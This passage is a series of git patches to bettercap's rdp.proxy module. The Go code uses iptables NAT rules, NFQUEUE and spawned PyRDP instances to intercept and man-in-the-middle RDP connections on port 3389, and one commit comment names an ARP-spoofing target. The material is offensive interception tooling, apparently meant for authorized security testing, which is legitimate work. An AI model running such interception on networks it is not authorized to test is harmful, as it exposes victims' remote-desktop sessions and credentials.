launch the man-in-the-middle.")) + mod.AddParam(session.NewStringParameter("rdp.proxy.targets", "", "", "A comma delimited list of destination IPs or CIDRs to target.")) /* NOTES * - The RDP port @@ -106,44 +105,38 @@ func (mod *RdpProxy) destroyQueue() { mod.queue = nil } -// Setup the proxy chain -"iptables -t nat -N BCAPRDP" // Create RDP chain -"iptables -t nat -X BCAPRDP" // Delete RDP chain -"iptables -t nat -I 1 PREROUTING -j BCAPRDP" // Go to BCAPRDP immediately before anything else -// Intercept SYNS (TODO: -m conntrack --cstate=new) ? -"iptables -I 1 -p tcp -m tcp --dport 3389 -d 10.0.0.0/24 -j NFQUEUE --queue-num 0 --queue-bypass" +// "iptables -I 1 -p tcp -m tcp --dport 3389 -d 10.0.0.0/24 -j NFQUEUE --queue-num 0 --queue-bypass" // Starts or stops a particular proxy instances. -func (mod *RdpProxy) doProxy(target net.IPv4, enable bool) (err error) { - - // Configure the firewall. - action := "-A" - if !enable { - action = "-D" - } - +func (mod *RdpProxy) proxy(target net.Addr) (err error) { args := []string{ - action, mod.chainName, - } - - if mod.rule != "" { - rule := strings.Split(mod.rule, " ") - args = append(args, rule...) - } - - args = append(args, []string{ "-j", "NFQUEUE", "--queue-num", fmt.Sprintf("%d", mod.queueNum), "--queue-bypass", - }...) + } mod.Debug("iptables %s", args) - _, err = core.Exec("iptables", args) + // _, err = core.Exec("iptables", args) return } +func (mod *RdpProxy) configureFirewall(enable bool) (err error) { + chain := []string { "-t", "nat", "-N", "BCAPRDP" } + nat := []string { "-t", "nat", "-I", "1", "PREROUTING", "-j", "BCAPRDP" } + + if !enable { + chain = []string { "-t", "nat", "-X", "BCAPRDP" } + nat = []string { "-t", "nat", "-D", "PREROUTING", "-j", "BCAPRDP" } + } + + _, err = core.Exec("iptables", chain) + _, err = core.Exec("iptables", nat) + return +} + + func (mod *RdpProxy) Configure() (err error) { // // The gist of what this function does is: @@ -157,16 +150,11 @@ func (mod *RdpProxy) Configure() (err error) { if err, mod.queueNum = mod.IntParam("packet.proxy.queue.num"); err != nil { return - } else if err, mod.chainName = mod.StringParam("packet.proxy.chain"); err != nil { - return - } else if err, mod.rule = mod.StringParam("packet.proxy.rule"); err != nil { - return - } else if err, mod.pluginPath = mod.StringParam("packet.proxy.plugin"); err != nil { - return + // } else if err, mod.pluginPath = mod.StringParam("packet.proxy.plugin"); err != nil { + // return } mod.Info("Starting NFQUEUE handler...") - var ok bool // Create the NFQUEUE handler. mod.queue = new(nfqueue.Queue) @@ -182,7 +170,7 @@ func (mod *RdpProxy) Configure() (err error) { return } else if err = mod.queue.SetMode(nfqueue.NFQNL_COPY_PACKET); err != nil { return - } else if err = mod.runRule(true); err != nil { + } else if err = mod.configureFirewall(true); err != nil { return } @@ -192,9 +180,9 @@ func (mod *RdpProxy) Configure() (err error) { func (mod *RdpProxy) handleRdpConnection(payload *nfqueue.Payload) int { // 1. Determine source and target addresses. - p := gopacket.NewPacket(payload, layers.LayerTypeEthernet, gopacket.NoCopy) + p := gopacket.NewPacket(payload.Data, layers.LayerTypeEthernet, gopacket.NoCopy) - log.Info("New Connection: %v", payload) + mod.Info("New Connection: %v", p) // 2. Check if the destination IP already has a PYRDP session active, if so, do nothing. // 3. Otherwise: // 3.1. Spawn a PYRDP instance on a fresh port @@ -202,11 +190,12 @@ func (mod *RdpProxy) handleRdpConnection(payload *nfqueue.Payload) int { // Force a retransmit to trigger the new firewall rules. // TODO: Find a more efficient way to do this. payload.SetVerdict(nfqueue.NF_DROP) + return 0 } // NFQUEUE needs a raw function. func OnRDPConnection(payload *nfqueue.Payload) int { - return mod.handleRdpConnection() + return mod.handleRdpConnection(payload) } func (mod *RdpProxy) Start() error { @@ -230,7 +219,7 @@ func (mod *RdpProxy) Start() error { func (mod *RdpProxy) Stop() error { return mod.SetRunning(false, func() { mod.queue.StopLoop() - mod.runRule(false) + mod.configureFirewall(false) <-mod.done }) } From b4043e3e0293c22a6ceeaa229784b2e0d1846866 Mon Sep 17 00:00:00 2001 From: Alexandre Beaulieu Date: Mon, 15 Apr 2019 14:16:56 -0400 Subject: [PATCH 08/18] wip: Support for rule clean up added. --- modules/rdp_proxy/rdp_proxy_linux_amd64.go | 51 +++++++++++++--------- 1 file changed, 31 insertions(+), 20 deletions(-) diff --git a/modules/rdp_proxy/rdp_proxy_linux_amd64.go b/modules/rdp_proxy/rdp_proxy_linux_amd64.go index 0a1d3757..b4dfd522 100644 --- a/modules/rdp_proxy/rdp_proxy_linux_amd64.go +++ b/modules/rdp_proxy/rdp_proxy_linux_amd64.go @@ -1,8 +1,11 @@ package rdp_proxy +// TESTING: +// set arp.spoof.targets '192.168.151.174' import ( "fmt" "net" + "os/exec" "io/ioutil" golog "log" "syscall" @@ -27,6 +30,7 @@ type RdpProxy struct { startPort int cmd string targets string // TODO + active map[string]exec.Cmd } var mod *RdpProxy @@ -40,7 +44,8 @@ func NewRdpProxy(s *session.Session) *RdpProxy { port: 0, startPort: 40000, cmd: "pyrdp-mitm", - targets: "", + targets: "", + active: make(map[string]exec.Cmd), } mod.AddHandler(session.NewModuleHandler("rdp.proxy on", "", "Start the RDP proxy.", @@ -123,38 +128,44 @@ func (mod *RdpProxy) proxy(target net.Addr) (err error) { } func (mod *RdpProxy) configureFirewall(enable bool) (err error) { - chain := []string { "-t", "nat", "-N", "BCAPRDP" } - nat := []string { "-t", "nat", "-I", "1", "PREROUTING", "-j", "BCAPRDP" } + rules := [][]string{} - if !enable { - chain = []string { "-t", "nat", "-X", "BCAPRDP" } - nat = []string { "-t", "nat", "-D", "PREROUTING", "-j", "BCAPRDP" } + if enable { + rules = [][]string{ + { "-t", "nat", "-N", "BCAPRDP" }, + { "-t", "nat", "-I", "PREROUTING", "1", "-j", "BCAPRDP" }, + { "-t", "nat", "-A", "BCAPRDP", + "-p", "tcp", "-m", "tcp", "--dport", fmt.Sprintf("%d", mod.port), + "-j", "NFQUEUE", "--queue-num", "0", "--queue-bypass", + }, + } + } else if !enable { + rules = [][]string{ + { "-t", "nat", "-D", "PREROUTING", "-j", "BCAPRDP" }, + { "-t", "nat", "-F", "BCAPRDP" }, + { "-t", "nat", "-X", "BCAPRDP" }, + } + } + + for _, rule := range rules { + if _, err = core.Exec("iptables", rule); err != nil { + return err + } } - _, err = core.Exec("iptables", chain) - _, err = core.Exec("iptables", nat) return } func (mod *RdpProxy) Configure() (err error) { - // - // The gist of what this function does is: - // 1. Create a chain in the NAT table called BCAPRDP. - // 2. Add a fallback rule as the first PREROUTING entry that puts all new TCP connections on port `rdp.proxy.port` into an NFQUEUE. - // 3. Add a default PREROUTING rule to jump to BCAPRDP. - // During cleanup, the entire BCAPRDP chain is dropped and all pyrdp instances are terminated - // golog.SetOutput(ioutil.Discard) mod.destroyQueue() - if err, mod.queueNum = mod.IntParam("packet.proxy.queue.num"); err != nil { + if err, mod.queueNum = mod.IntParam("rdp.proxy.queue.num"); err != nil { return - // } else if err, mod.pluginPath = mod.StringParam("packet.proxy.plugin"); err != nil { - // return } - mod.Info("Starting NFQUEUE handler...") + mod.Info("Starting RDP Proxy") // Create the NFQUEUE handler. mod.queue = new(nfqueue.Queue) @@ -181,8 +192,8 @@ func (mod *RdpProxy) handleRdpConnection(payload *nfqueue.Payload) int { // 1. Determine source and target addresses. p := gopacket.NewPacket(payload.Data, layers.LayerTypeEthernet, gopacket.NoCopy) - mod.Info("New Connection: %v", p) + // 2. Check if the destination IP already has a PYRDP session active, if so, do nothing. // 3. Otherwise: // 3.1. Spawn a PYRDP instance on a fresh port From 0922c0a5fa3536118a88ac577d40ea45b680ee79 Mon Sep 17 00:00:00 2001 From: Alexandre Beaulieu Date: Mon, 15 Apr 2019 15:43:14 -0400 Subject: [PATCH 09/18] wip: Almost back to initial functionalit --- modules/rdp_proxy/rdp_proxy_linux_amd64.go | 30 +++++++++------------- 1 file changed, 12 insertions(+), 18 deletions(-) diff --git a/modules/rdp_proxy/rdp_proxy_linux_amd64.go b/modules/rdp_proxy/rdp_proxy_linux_amd64.go index b4dfd522..029e005f 100644 --- a/modules/rdp_proxy/rdp_proxy_linux_amd64.go +++ b/modules/rdp_proxy/rdp_proxy_linux_amd64.go @@ -1,7 +1,7 @@ package rdp_proxy // TESTING: -// set arp.spoof.targets '192.168.151.174' +// import ( "fmt" "net" @@ -41,7 +41,7 @@ func NewRdpProxy(s *session.Session) *RdpProxy { done: make(chan bool), queue: nil, queueNum: 0, - port: 0, + port: 3389, startPort: 40000, cmd: "pyrdp-mitm", targets: "", @@ -110,20 +110,13 @@ func (mod *RdpProxy) destroyQueue() { mod.queue = nil } -// "iptables -I 1 -p tcp -m tcp --dport 3389 -d 10.0.0.0/24 -j NFQUEUE --queue-num 0 --queue-bypass" - - // Starts or stops a particular proxy instances. -func (mod *RdpProxy) proxy(target net.Addr) (err error) { - args := []string{ - "-j", "NFQUEUE", - "--queue-num", fmt.Sprintf("%d", mod.queueNum), - "--queue-bypass", - } - - mod.Debug("iptables %s", args) - - // _, err = core.Exec("iptables", args) +func (mod *RdpProxy) pyRdp(target net.Addr) (err error) { + _, err = core.Exec("iptables", []string { "-t", "nat", + "-I", "BCAPRDP", "1", + "-p" "tcp" "--dport", fmt.Sprintf("%d", mod.port), + "-j" "REDIRECT" "--to-ports", fmt.Sprintf("%d", mod.instancePort), + }) return } @@ -156,7 +149,6 @@ func (mod *RdpProxy) configureFirewall(enable bool) (err error) { return } - func (mod *RdpProxy) Configure() (err error) { golog.SetOutput(ioutil.Discard) mod.destroyQueue() @@ -191,8 +183,10 @@ func (mod *RdpProxy) Configure() (err error) { func (mod *RdpProxy) handleRdpConnection(payload *nfqueue.Payload) int { // 1. Determine source and target addresses. - p := gopacket.NewPacket(payload.Data, layers.LayerTypeEthernet, gopacket.NoCopy) - mod.Info("New Connection: %v", p) + p := gopacket.NewPacket(payload.Data, layers.LayerTypeIPv4, gopacket.Default) + src, sport := p.NetworkLayer().NetworkFlow().Src(), p.TransportLayer().TransportFlow().Src() + dst, dport := p.NetworkLayer().NetworkFlow().Dst(), p.TransportLayer().TransportFlow().Dst() + mod.Info("Connection [%v:%v -> %v:%v]", src, sport, dst, dport) // 2. Check if the destination IP already has a PYRDP session active, if so, do nothing. // 3. Otherwise: From c395038d5608fc931eb369b935aa862dded833b2 Mon Sep 17 00:00:00 2001 From: Alexandre Beaulieu Date: Tue, 16 Apr 2019 13:28:25 -0400 Subject: [PATCH 10/18] wip: added support for the redirect rules. --- modules/rdp_proxy/rdp_proxy_linux_amd64.go | 92 +++++++++++----------- 1 file changed, 48 insertions(+), 44 deletions(-) diff --git a/modules/rdp_proxy/rdp_proxy_linux_amd64.go b/modules/rdp_proxy/rdp_proxy_linux_amd64.go index 029e005f..9d07ceb0 100644 --- a/modules/rdp_proxy/rdp_proxy_linux_amd64.go +++ b/modules/rdp_proxy/rdp_proxy_linux_amd64.go @@ -1,10 +1,7 @@ package rdp_proxy -// TESTING: -// import ( "fmt" - "net" "os/exec" "io/ioutil" golog "log" @@ -29,7 +26,6 @@ type RdpProxy struct { port int startPort int cmd string - targets string // TODO active map[string]exec.Cmd } @@ -43,8 +39,7 @@ func NewRdpProxy(s *session.Session) *RdpProxy { queueNum: 0, port: 3389, startPort: 40000, - cmd: "pyrdp-mitm", - targets: "", + cmd: "pyrdp-mitm.py", active: make(map[string]exec.Cmd), } @@ -61,30 +56,8 @@ func NewRdpProxy(s *session.Session) *RdpProxy { mod.AddParam(session.NewIntParameter("rdp.proxy.queue.num", "0", "NFQUEUE number to bind to.")) mod.AddParam(session.NewIntParameter("rdp.proxy.port", "3389", "RDP port to intercept.")) mod.AddParam(session.NewIntParameter("rdp.proxy.start", "40000", "Starting port for pyrdp sessionss")) - mod.AddParam(session.NewStringParameter("rdp.proxy.command", "pyrdp-mitm", "", "The PyRDP base command to launch the man-in-the-middle.")) - mod.AddParam(session.NewStringParameter("rdp.proxy.targets", "", "", "A comma delimited list of destination IPs or CIDRs to target.")) - - /* NOTES - * - The RDP port - * - The target source IPs (This can actually be handled by ARP.Spoof) - * - The target destination IPs - * - Starting Port - * - Maximum Instances (future) - * - RDP Command (if not pyrdp-mitm) - * - * FUTURE WORK: - * - Centralized Instance of pyrdp - */ - - // mod.AddParam(session.NewStringParameter("rdp.proxy.targets", - // session.ParamSubnet, - // "", - // "Comma separated list of IP addresses, also supports nmap style IP ranges.")) - - // TODO: Should support comma separated subnets - // mod.AddParam(session.NewStringParameter("rdp.proxy.targets", "3389", session.IPv4RangeValidator "RDP port to intercept.")) - - + mod.AddParam(session.NewStringParameter("rdp.proxy.command", "pyrdp-mitm.py", "", "The PyRDP base command to launch the man-in-the-middle.")) + mod.AddParam(session.NewStringParameter("rdp.proxy.out", "./", "", "The output directory for PyRDP artifcats.")) return mod } @@ -93,7 +66,7 @@ func (mod RdpProxy) Name() string { } func (mod RdpProxy) Description() string { - return "A Linux only module that relies on NFQUEUEs in order to man-in-the-middle RDP sessions." + return "A Linux-only module that relies on NFQUEUEs and PyRDP in order to man-in-the-middle RDP sessions." } func (mod RdpProxy) Author() string { @@ -110,12 +83,15 @@ func (mod *RdpProxy) destroyQueue() { mod.queue = nil } -// Starts or stops a particular proxy instances. -func (mod *RdpProxy) pyRdp(target net.Addr) (err error) { +// Adds the firewall rule for proxy instance. +func (mod *RdpProxy) doProxy(addr string, port string, enable bool) (err error) { _, err = core.Exec("iptables", []string { "-t", "nat", "-I", "BCAPRDP", "1", - "-p" "tcp" "--dport", fmt.Sprintf("%d", mod.port), - "-j" "REDIRECT" "--to-ports", fmt.Sprintf("%d", mod.instancePort), + "-d", addr, + "-p", "tcp", + "--dport", fmt.Sprintf("%d", mod.port), + "-j", "REDIRECT", + "--to-ports", port, }) return } @@ -153,7 +129,14 @@ func (mod *RdpProxy) Configure() (err error) { golog.SetOutput(ioutil.Discard) mod.destroyQueue() - if err, mod.queueNum = mod.IntParam("rdp.proxy.queue.num"); err != nil { + // TODO: Param validation and hydration + if err, mod.port = mod.IntParam("rdp.proxy.port"); err != nil { + return + } else if err, mod.cmd = mod.StringParam("rdp.proxy.command"); err != nil { + return + } else if err, mod.queueNum = mod.IntParam("rdp.proxy.queue.num"); err != nil { + return + } else if _, err = exec.LookPath(mod.cmd); err != nil { return } @@ -176,24 +159,44 @@ func (mod *RdpProxy) Configure() (err error) { } else if err = mod.configureFirewall(true); err != nil { return } - return nil } +// Note: It is probably a good idea to verify whether this call is serialized. func (mod *RdpProxy) handleRdpConnection(payload *nfqueue.Payload) int { - // 1. Determine source and target addresses. p := gopacket.NewPacket(payload.Data, layers.LayerTypeIPv4, gopacket.Default) src, sport := p.NetworkLayer().NetworkFlow().Src(), p.TransportLayer().TransportFlow().Src() dst, dport := p.NetworkLayer().NetworkFlow().Dst(), p.TransportLayer().TransportFlow().Dst() - mod.Info("Connection [%v:%v -> %v:%v]", src, sport, dst, dport) + + // TODO: Don't log here and connect a pipe to the process instead. + mod.Info("CONNECT [%s:%v -> %v:%v]", src, sport, dst, dport) + target := fmt.Sprintf("%v:%v", dst, dport) // 2. Check if the destination IP already has a PYRDP session active, if so, do nothing. - // 3. Otherwise: - // 3.1. Spawn a PYRDP instance on a fresh port - // 3.2. Add a NAT rule in the firewall for this particular target IP - // Force a retransmit to trigger the new firewall rules. - // TODO: Find a more efficient way to do this. + if _, ok := mod.active[target]; !ok { + // 3.1. Otherwise, create a proxy agent and firewall rules. + args := []string{ + "-l", fmt.Sprintf("%d", mod.startPort), + // "-o", mod.outpath, + // "-i", "-d" + target, + } + + // 3.2. Spawn pyrdp proxy instance + cmd := exec.Command(mod.cmd, args...) + // _stderr, _ := cmd.StderrPipe() + if err := cmd.Start(); err != nil { + // XXX: Failed to start the rdp proxy... accept connection transparently and log? + } + + // 3.3. Add a NAT rule in the firewall for this particular target IP + mod.doProxy(dst.String(), fmt.Sprintf("%d", mod.startPort), true) + mod.active[target] = *cmd + mod.startPort += 1 + } + + // Force a retransmit to trigger the new firewall rules. (TODO: Find a more efficient way to do this.) payload.SetVerdict(nfqueue.NF_DROP) return 0 } @@ -222,6 +225,7 @@ func (mod *RdpProxy) Start() error { } func (mod *RdpProxy) Stop() error { + mod.Info("Stopping!") return mod.SetRunning(false, func() { mod.queue.StopLoop() mod.configureFirewall(false) From 77a6b5c6b4ac449b1bc2436f5719c3e0747c5d90 Mon Sep 17 00:00:00 2001 From: Alexandre Beaulieu Date: Tue, 16 Apr 2019 15:12:19 -0400 Subject: [PATCH 11/18] wip: done!, kind of! --- modules/rdp_proxy/rdp_proxy_linux_amd64.go | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/rdp_proxy/rdp_proxy_linux_amd64.go b/modules/rdp_proxy/rdp_proxy_linux_amd64.go index 9d07ceb0..7c223912 100644 --- a/modules/rdp_proxy/rdp_proxy_linux_amd64.go +++ b/modules/rdp_proxy/rdp_proxy_linux_amd64.go @@ -225,7 +225,9 @@ func (mod *RdpProxy) Start() error { } func (mod *RdpProxy) Stop() error { - mod.Info("Stopping!") + for _, cmd := range mod.active { + cmd.Process.Kill() // FIXME: More graceful way to shutdown? + } return mod.SetRunning(false, func() { mod.queue.StopLoop() mod.configureFirewall(false) From 74a824b3dbf46199f1d24eb9327d18d1d988ee95 Mon Sep 17 00:00:00 2001 From: Alexandre Beaulieu Date: Tue, 16 Apr 2019 15:26:07 -0400 Subject: [PATCH 12/18] feat(RDP): RDP-Proxy prototype. --- modules/rdp_proxy/packet_proxy_darwin.go | 39 -------------------- modules/rdp_proxy/packet_proxy_linux.go | 41 ---------------------- modules/rdp_proxy/packet_proxy_windows.go | 39 -------------------- modules/rdp_proxy/rdp_proxy_darwin.go | 39 ++++++++++++++++++++ modules/rdp_proxy/rdp_proxy_linux.go | 41 ++++++++++++++++++++++ modules/rdp_proxy/rdp_proxy_linux_amd64.go | 33 ++++++++--------- modules/rdp_proxy/rdp_proxy_windows.go | 39 ++++++++++++++++++++ 7 files changed, 136 insertions(+), 135 deletions(-) delete mode 100644 modules/rdp_proxy/packet_proxy_darwin.go delete mode 100644 modules/rdp_proxy/packet_proxy_linux.go delete mode 100644 modules/rdp_proxy/packet_proxy_windows.go create mode 100644 modules/rdp_proxy/rdp_proxy_darwin.go create mode 100644 modules/rdp_proxy/rdp_proxy_linux.go create mode 100644 modules/rdp_proxy/rdp_proxy_windows.go diff --git a/modules/rdp_proxy/packet_proxy_darwin.go b/modules/rdp_proxy/packet_proxy_darwin.go deleted file mode 100644 index 0e464be0..00000000 --- a/modules/rdp_proxy/packet_proxy_darwin.go +++ /dev/null @@ -1,39 +0,0 @@ -package packet_proxy - -import ( - "github.com/bettercap/bettercap/session" -) - -type PacketProxy struct { - session.SessionModule -} - -func NewPacketProxy(s *session.Session) *PacketProxy { - return &PacketProxy{ - SessionModule: session.NewSessionModule("packet.proxy", s), - } -} - -func (mod PacketProxy) Name() string { - return "packet.proxy" -} - -func (mod PacketProxy) Description() string { - return "Not supported on this OS" -} - -func (mod PacketProxy) Author() string { - return "Simone Margaritelli " -} - -func (mod *PacketProxy) Configure() (err error) { - return session.ErrNotSupported -} - -func (mod *PacketProxy) Start() error { - return session.ErrNotSupported -} - -func (mod *PacketProxy) Stop() error { - return session.ErrNotSupported -} diff --git a/modules/rdp_proxy/packet_proxy_linux.go b/modules/rdp_proxy/packet_proxy_linux.go deleted file mode 100644 index c1530699..00000000 --- a/modules/rdp_proxy/packet_proxy_linux.go +++ /dev/null @@ -1,41 +0,0 @@ -// +build !amd64 - -package packet_proxy - -import ( - "github.com/bettercap/bettercap/session" -) - -type PacketProxy struct { - session.SessionModule -} - -func NewPacketProxy(s *session.Session) *PacketProxy { - return &PacketProxy{ - SessionModule: session.NewSessionModule("packet.proxy", s), - } -} - -func (mod PacketProxy) Name() string { - return "packet.proxy" -} - -func (mod PacketProxy) Description() string { - return "Not supported on this OS" -} - -func (mod PacketProxy) Author() string { - return "Simone Margaritelli " -} - -func (mod *PacketProxy) Configure() (err error) { - return session.ErrNotSupported -} - -func (mod *PacketProxy) Start() error { - return session.ErrNotSupported -} - -func (mod *PacketProxy) Stop() error { - return session.ErrNotSupported -} diff --git a/modules/rdp_proxy/packet_proxy_windows.go b/modules/rdp_proxy/packet_proxy_windows.go deleted file mode 100644 index 0e464be0..00000000 --- a/modules/rdp_proxy/packet_proxy_windows.go +++ /dev/null @@ -1,39 +0,0 @@ -package packet_proxy - -import ( - "github.com/bettercap/bettercap/session" -) - -type PacketProxy struct { - session.SessionModule -} - -func NewPacketProxy(s *session.Session) *PacketProxy { - return &PacketProxy{ - SessionModule: session.NewSessionModule("packet.proxy", s), - } -} - -func (mod PacketProxy) Name() string { - return "packet.proxy" -} - -func (mod PacketProxy) Description() string { - return "Not supported on this OS" -} - -func (mod PacketProxy) Author() string { - return "Simone Margaritelli " -} - -func (mod *PacketProxy) Configure() (err error) { - return session.ErrNotSupported -} - -func (mod *PacketProxy) Start() error { - return session.ErrNotSupported -} - -func (mod *PacketProxy) Stop() error { - return session.ErrNotSupported -} diff --git a/modules/rdp_proxy/rdp_proxy_darwin.go b/modules/rdp_proxy/rdp_proxy_darwin.go new file mode 100644 index 00000000..899ee605 --- /dev/null +++ b/modules/rdp_proxy/rdp_proxy_darwin.go @@ -0,0 +1,39 @@ +package rdp_proxy + +import ( + "github.com/bettercap/bettercap/session" +) + +type RdpProxy struct { + session.SessionModule +} + +func NewRdpProxy(s *session.Session) *RdpProxy { + return &RdpProxy{ + SessionModule: session.NewSessionModule("rdp.proxy", s), + } +} + +func (mod RdpProxy) Name() string { + return "rdp.proxy" +} + +func (mod RdpProxy) Description() string { + return "Not supported on this OS" +} + +func (mod RdpProxy) Author() string { + return "Alexandre Beaulieu " +} + +func (mod *RdpProxy) Configure() (err error) { + return session.ErrNotSupported +} + +func (mod *RdpProxy) Start() error { + return session.ErrNotSupported +} + +func (mod *RdpProxy) Stop() error { + return session.ErrNotSupported +} diff --git a/modules/rdp_proxy/rdp_proxy_linux.go b/modules/rdp_proxy/rdp_proxy_linux.go new file mode 100644 index 00000000..5ddac0a3 --- /dev/null +++ b/modules/rdp_proxy/rdp_proxy_linux.go @@ -0,0 +1,41 @@ +// +build !amd64 + +package rdp_proxy + +import ( + "github.com/bettercap/bettercap/session" +) + +type RdpProxy struct { + session.SessionModule +} + +func NewRdpProxy(s *session.Session) *RdpProxy { + return &RdpProxy{ + SessionModule: session.NewSessionModule("rdp.proxy", s), + } +} + +func (mod RdpProxy) Name() string { + return "rdp.proxy" +} + +func (mod RdpProxy) Description() string { + return "Not supported on this OS" +} + +func (mod RdpProxy) Author() string { + return "Alexandre Beaulieu " +} + +func (mod *RdpProxy) Configure() (err error) { + return session.ErrNotSupported +} + +func (mod *RdpProxy) Start() error { + return session.ErrNotSupported +} + +func (mod *RdpProxy) Stop() error { + return session.ErrNotSupported +} diff --git a/modules/rdp_proxy/rdp_proxy_linux_amd64.go b/modules/rdp_proxy/rdp_proxy_linux_amd64.go index 7c223912..dd703e8b 100644 --- a/modules/rdp_proxy/rdp_proxy_linux_amd64.go +++ b/modules/rdp_proxy/rdp_proxy_linux_amd64.go @@ -13,9 +13,6 @@ import ( "github.com/chifflier/nfqueue-go/nfqueue" "github.com/google/gopacket" "github.com/google/gopacket/layers" - - // "github.com/evilsocket/islazy/fs" - // "github.com/evilsocket/islazy/tui" ) type RdpProxy struct { @@ -73,16 +70,6 @@ func (mod RdpProxy) Author() string { return "Alexandre Beaulieu " } -func (mod *RdpProxy) destroyQueue() { - if mod.queue == nil { - return - } - - mod.queue.DestroyQueue() - mod.queue.Close() - mod.queue = nil -} - // Adds the firewall rule for proxy instance. func (mod *RdpProxy) doProxy(addr string, port string, enable bool) (err error) { _, err = core.Exec("iptables", []string { "-t", "nat", @@ -225,12 +212,26 @@ func (mod *RdpProxy) Start() error { } func (mod *RdpProxy) Stop() error { - for _, cmd := range mod.active { - cmd.Process.Kill() // FIXME: More graceful way to shutdown? - } + + return mod.SetRunning(false, func() { mod.queue.StopLoop() mod.configureFirewall(false) + for _, cmd := range mod.active { + cmd.Process.Kill() // FIXME: More graceful way to shutdown proxy agents? + } + <-mod.done }) } + +func (mod *RdpProxy) destroyQueue() { + if mod.queue == nil { + return + } + + mod.queue.DestroyQueue() + mod.queue.Close() + mod.queue = nil +} + diff --git a/modules/rdp_proxy/rdp_proxy_windows.go b/modules/rdp_proxy/rdp_proxy_windows.go new file mode 100644 index 00000000..899ee605 --- /dev/null +++ b/modules/rdp_proxy/rdp_proxy_windows.go @@ -0,0 +1,39 @@ +package rdp_proxy + +import ( + "github.com/bettercap/bettercap/session" +) + +type RdpProxy struct { + session.SessionModule +} + +func NewRdpProxy(s *session.Session) *RdpProxy { + return &RdpProxy{ + SessionModule: session.NewSessionModule("rdp.proxy", s), + } +} + +func (mod RdpProxy) Name() string { + return "rdp.proxy" +} + +func (mod RdpProxy) Description() string { + return "Not supported on this OS" +} + +func (mod RdpProxy) Author() string { + return "Alexandre Beaulieu " +} + +func (mod *RdpProxy) Configure() (err error) { + return session.ErrNotSupported +} + +func (mod *RdpProxy) Start() error { + return session.ErrNotSupported +} + +func (mod *RdpProxy) Stop() error { + return session.ErrNotSupported +} From be8360ae7b420b8f8da8f700d04440ae822e8098 Mon Sep 17 00:00:00 2001 From: Pourliver Date: Mon, 6 May 2019 12:03:22 -0400 Subject: [PATCH 13/18] Added targets and queue number support to rdp proxy --- modules/rdp_proxy/rdp_proxy_linux_amd64.go | 122 ++++++++++++++------- 1 file changed, 82 insertions(+), 40 deletions(-) diff --git a/modules/rdp_proxy/rdp_proxy_linux_amd64.go b/modules/rdp_proxy/rdp_proxy_linux_amd64.go index dd703e8b..569efbc6 100644 --- a/modules/rdp_proxy/rdp_proxy_linux_amd64.go +++ b/modules/rdp_proxy/rdp_proxy_linux_amd64.go @@ -5,9 +5,11 @@ import ( "os/exec" "io/ioutil" golog "log" + "net" "syscall" "github.com/bettercap/bettercap/core" + "github.com/bettercap/bettercap/network" "github.com/bettercap/bettercap/session" "github.com/chifflier/nfqueue-go/nfqueue" @@ -17,13 +19,14 @@ import ( type RdpProxy struct { session.SessionModule - done chan bool - queue *nfqueue.Queue - queueNum int - port int - startPort int - cmd string - active map[string]exec.Cmd + done chan bool + queue *nfqueue.Queue + queueNum int + port int + startPort int + cmd string + active map[string]exec.Cmd + addresses []net.IP } var mod *RdpProxy @@ -31,6 +34,7 @@ var mod *RdpProxy func NewRdpProxy(s *session.Session) *RdpProxy { mod = &RdpProxy{ SessionModule: session.NewSessionModule("rdp.proxy", s), + addresses: make([]net.IP, 0), done: make(chan bool), queue: nil, queueNum: 0, @@ -50,11 +54,12 @@ func NewRdpProxy(s *session.Session) *RdpProxy { return mod.Stop() })) - mod.AddParam(session.NewIntParameter("rdp.proxy.queue.num", "0", "NFQUEUE number to bind to.")) - mod.AddParam(session.NewIntParameter("rdp.proxy.port", "3389", "RDP port to intercept.")) - mod.AddParam(session.NewIntParameter("rdp.proxy.start", "40000", "Starting port for pyrdp sessionss")) - mod.AddParam(session.NewStringParameter("rdp.proxy.command", "pyrdp-mitm.py", "", "The PyRDP base command to launch the man-in-the-middle.")) - mod.AddParam(session.NewStringParameter("rdp.proxy.out", "./", "", "The output directory for PyRDP artifcats.")) +mod.AddParam(session.NewIntParameter("rdp.proxy.queue.num", "0", "NFQUEUE number to bind to.")) +mod.AddParam(session.NewIntParameter("rdp.proxy.port", "3389", "RDP port to intercept.")) +mod.AddParam(session.NewIntParameter("rdp.proxy.start", "40000", "Starting port for pyrdp sessions.")) +mod.AddParam(session.NewStringParameter("rdp.proxy.command", "pyrdp-mitm.py", "", "The PyRDP base command to launch the man-in-the-middle.")) +mod.AddParam(session.NewStringParameter("rdp.proxy.out", "./", "", "The output directory for PyRDP artifacts.")) +mod.AddParam(session.NewStringParameter("rdp.proxy.targets", session.ParamSubnet, "", "Comma separated list of IP addresses to proxy to, also supports nmap style IP ranges.")) return mod } @@ -70,10 +75,22 @@ func (mod RdpProxy) Author() string { return "Alexandre Beaulieu " } +func (mod *RdpProxy) isTarget(ip string) bool { + + for _, addr := range mod.addresses { + if addr.String() == ip { + return true + } + } + + return false +} + // Adds the firewall rule for proxy instance. func (mod *RdpProxy) doProxy(addr string, port string, enable bool) (err error) { - _, err = core.Exec("iptables", []string { "-t", "nat", - "-I", "BCAPRDP", "1", + _, err = core.Exec("iptables", []string{ + "-t", "nat", + "-I", "BCAPRDP", "1", "-d", addr, "-p", "tcp", "--dport", fmt.Sprintf("%d", mod.port), @@ -83,6 +100,18 @@ func (mod *RdpProxy) doProxy(addr string, port string, enable bool) (err error) return } +func (mod *RdpProxy) doReturn(dst string, dport gopacket.Endpoint, enable bool) (err error) { + _, err = core.Exec("iptables", []string{ + "-t", "nat", + "-I", "BCAPRDP", "1", + "-p", "tcp", + "-d", dst, + "--dport", fmt.Sprintf("%v", dport), + "-j", "RETURN", + }) + return +} + func (mod *RdpProxy) configureFirewall(enable bool) (err error) { rules := [][]string{} @@ -92,9 +121,10 @@ func (mod *RdpProxy) configureFirewall(enable bool) (err error) { { "-t", "nat", "-I", "PREROUTING", "1", "-j", "BCAPRDP" }, { "-t", "nat", "-A", "BCAPRDP", "-p", "tcp", "-m", "tcp", "--dport", fmt.Sprintf("%d", mod.port), - "-j", "NFQUEUE", "--queue-num", "0", "--queue-bypass", + "-j", "NFQUEUE", "--queue-num", fmt.Sprintf("%d", mod.queueNum), "--queue-bypass", }, } + } else if !enable { rules = [][]string{ { "-t", "nat", "-D", "PREROUTING", "-j", "BCAPRDP" }, @@ -113,6 +143,8 @@ func (mod *RdpProxy) configureFirewall(enable bool) (err error) { } func (mod *RdpProxy) Configure() (err error) { + var targets string + 